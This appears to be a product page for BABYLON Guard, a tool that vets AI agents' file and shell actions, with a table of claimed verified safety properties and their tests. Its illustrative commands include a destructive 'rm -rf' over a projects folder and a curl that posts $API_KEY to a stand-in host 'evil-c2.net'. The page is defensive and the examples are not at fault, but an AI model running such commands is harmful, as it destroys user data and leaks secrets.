BABYLON Guard
CONTROL · Let AI work. Keep the veto.
BABYLON Guard delimits and governs in silicon what autonomous AI agents can execute over files, shell commands, and system processes.
Arbitration of the 7-Tuple Governance
BABYLON Guard doesn't trust stochastic model declarations. Every tool invocation or filesystem mutation is deterministically evaluated against the formal 7-tuple before touching the OS:
rm -rf ~/Projects/*atomic_write src/components/Nav.astrocurl -X POST https://evil-c2.net -d $API_KEYThe 5 Mandatory Phases of an Effect Receipt
Every physical mutation mediated by BABYLON irreversibly transitions through five deterministic phases. No effect is declared complete without intermediate state attestations:
Formal evaluation of the 7-tuple governance against an incoming EffectRequest.
Capability arbitration, Touch ID / Secure Enclave gate, and atomic nonce reservation.
Dispatch of the physical mutation to the APFS filesystem or compatible environment.
Physical telemetry measurement and real observed consequence (EffectOutcome).
Sealing of the immutable COSE_Sign1 receipt and anchoring in the WORM / Merkle tree.
Tested Perimeter & TCB Boundaries
✓ Tested environments
Tested locally on macOS arm64 (APFS with atomic rename and 0700 quarantine isolation).
✗ Boundaries & Fail-Closed
Network filesystems (NFS, SMB) lack atomic rename guarantees. In such environments, the broker deterministically aborts (Fail-Closed).
Relationship to Assurance (NEMESIS)
NEMESIS is not a separate commercial purchase or third-party monitoring product. It is the verification layer bound to BABYLON that challenges its limits under formal fault models.
Epistemic Claims Associated with BABYLON in Monorepo
Effect execution controls, Touch ID gates, and atomic isolation on filesystem:
| CLAIM / COMPONENT | DOMAIN | STATEMENT & SCOPE | DECLARED | OBSERVED | REPRODUCTION |
|---|---|---|---|---|---|
inv_04_fail_stop_halt 00_ABZU_KERNEL | BABYLON | Epistemic halt closes admission (POISONED, 0xDEAD_6060) and records SignedDurable / UnsignedDurable / PersistenceFailed evidence within a bounded budget; never a synthetic signature | VERIFIED | VERIFIED | cargo test --lib halt::tests |
cose_ed25519_receipt 00_ABZU_KERNEL | BABYLON | Receipts are formatted according to RFC 9942 and cryptographically signed with Ed25519 | VERIFIED | VERIFIED | cargo test --lib receipt::tests::test_rece... |
secure_enclave_p256 00_ABZU_KERNEL | BABYLON | Apple Secure Enclave bridge produces P-256 signatures with Touch ID gate | VERIFIED (LOCAL) | VERIFIED (LOCAL) | cargo test --lib enclave::tests::test_encl... |
mcp_authority_gate 01_KISH_ENGINE | BABYLON | MCP server enforces AX-0: stochastic AI clients cannot self-authorize protected actions | VERIFIED | VERIFIED | pytest tests/test_ax0_mcp_isolation.py |
AUTH_001 00_ABZU_KERNEL | BABYLON | A consumed authorization cannot be dispatched a second time by the executor, including after process death and reopening the file ledger Scope: executor-managed effects; single executor process per ledger; SIGKILL process death, not power loss | VERIFIED (LOCAL) | VERIFIED (LOCAL) | cargo test --lib executor::tests::replay_r... |
AUTH_002 00_ABZU_KERNEL | BABYLON | EDIN workers cannot execute protected effects directly without verified COSE authorization over the IPC Unix socket boundary Scope: privilege isolation over Unix domain socket IPC; capability retained by executor server | VERIFIED (LOCAL) | VERIFIED (LOCAL) | cargo test --lib executor::ipc_tests --fea... |
AUTH_003 00_ABZU_KERNEL | BABYLON | A dispatch without a durable result becomes UNKNOWN at restart and is never retried automatically Scope: crash recovery; RESERVED entries stay blocked (no resumption implemented) | VERIFIED (LOCAL) | VERIFIED (LOCAL) | cargo test --lib executor::tests::interrup... |
AUTH_004 00_ABZU_KERNEL | BABYLON | A resource whose precondition digest or inode identity changes between authorization and effect is rejected before mutation; for filesystem DELETE_FILE, the TOCTOU gap is closed via atomic quarantine isolation and post-rename verification Scope: local filesystem under tested threat model; requires broker-exclusive quarantine on same mount (dev match), non-symlink paths, and O_NOFOLLOW/renameatx_np/renameat2 primitives. Remote and cross-device filesystems unsupported (fail-closed) | VERIFIED (LOCAL) | VERIFIED (LOCAL) | cargo test --lib secure_fs && cargo test -... |
AUTH_005 00_ABZU_KERNEL | BABYLON | Signing or persistence failures produce explicit errors; no zeroed or synthetic signature is emitted Scope: receipt generation and halt evidence | VERIFIED (LOCAL) | VERIFIED (LOCAL) | cargo test --lib receipt::tests::test_rece... |
AUTH_006 00_ABZU_KERNEL | BABYLON | Under 1000 one-process-per-iteration runs with SIGKILL at 4 crash points, no nonce produces more than one effect, no DISPATCHED survives restart, and every archived authorization replay is rejected Scope: process kill (SIGKILL), file ledger, macOS; not power loss, not multi-executor | VERIFIED (LOCAL) | VERIFIED (LOCAL) | D=$(mktemp -d)/run && cargo run --release ... |
AUTH_007_secure_fs_quarantine 00_ABZU_KERNEL | BABYLON | EffectTx guarantees SAFETY and NON-INTERFERENCE for DELETE_FILE: under 100 concurrent workers and swap race attacks, unauthorized destructions == 0 and unquarantined deletions == 0 Scope: local filesystem, same mount/device, broker-owned quarantine (0700); macOS renameatx_np(RENAME_EXCL) and Linux renameat2(RENAME_NOREPLACE); NFS/remote FS unsupported and fail-closed | VERIFIED (LOCAL) | VERIFIED (LOCAL) | cargo test --test adversarial_nemesis --fe... |
tamkarum_budget_gate 01_KISH_ENGINE | BABYLON | KudurruBudgetGate enforces 64-byte L1 cache line layout, Kelly Criterion bid caps, and MUSHUSHU-0 fail-stop apoptosis (0xDEAD_6060) | VERIFIED | N/A | cargo test --lib tamkarum::tests |